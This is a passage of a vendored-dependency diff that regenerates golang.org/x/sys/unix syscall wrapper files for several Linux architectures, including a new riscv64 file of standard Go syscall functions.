-+ r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1755,8 +358,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +369,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1876,8 +481,13 @@ func Statfs(path string, buf *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-- _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-+func Truncate(path string, length int64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1886,13 +496,8 @@ func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Truncate(path string, length int64) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2091,6 +696,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2127,8 +747,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2137,8 +762,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2155,3 +780,28 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func syncFileRange2(fd int, flags int, off int64, n int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(flags), uintptr(off), uintptr(n), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go
-new file mode 100644
-index 00000000..b7613344
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go
-@@ -0,0 +1,582 @@
-+// go run mksyscall.go -tags linux,riscv64 syscall_linux.go syscall_linux_riscv64.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build linux,riscv64
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_EPOLL_PWAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, buf *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getegid() (egid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
-+ egid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Geteuid() (euid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
-+ euid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getgid() (gid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
-+ gid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getuid() (uid int) {
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
-+ uid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Listen(s int, n int) (err error) {
-+ _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(n), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pread(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(p) > 0 {
-+ _p0 = unsafe.Pointer(&p[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_PREAD64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(p) > 0 {
-+ _p0 = unsafe.Pointer(&p[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_PWRITE64, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SENDFILE, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
-+ written = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setregid(rgid int, egid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setresgid(rgid int, egid int, sgid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setresuid(ruid int, euid int, suid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setrlimit(resource int, rlim *Rlimit) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setreuid(ruid int, euid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Shutdown(fd int, how int) (err error) {
-+ _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(fd), uintptr(how), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-+ n = int64(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, buf *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Truncate(path string, length int64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-+ r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error) {
-+ r0, _, e1 := Syscall6(SYS_ACCEPT4, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), uintptr(flags), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getgroups(n int, list *_Gid_t) (nn int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-+ nn = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setgroups(n int, list *_Gid_t) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socket(domain int, typ int, proto int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-+ _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(p) > 0 {
-+ _p0 = unsafe.Pointer(&p[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-+ r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flags), uintptr(fd), uintptr(offset))
-+ xaddr = uintptr(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Gettimeofday(tv *Timeval) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-index b6ff9e39..9bc353f0 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_s390x.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,s390x syscall_linux.go syscall_linux_s390x.go
-+// go run mksyscall.go -tags linux,s390x syscall_linux.go syscall_linux_s390x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,s390x
-@@ -14,1446 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
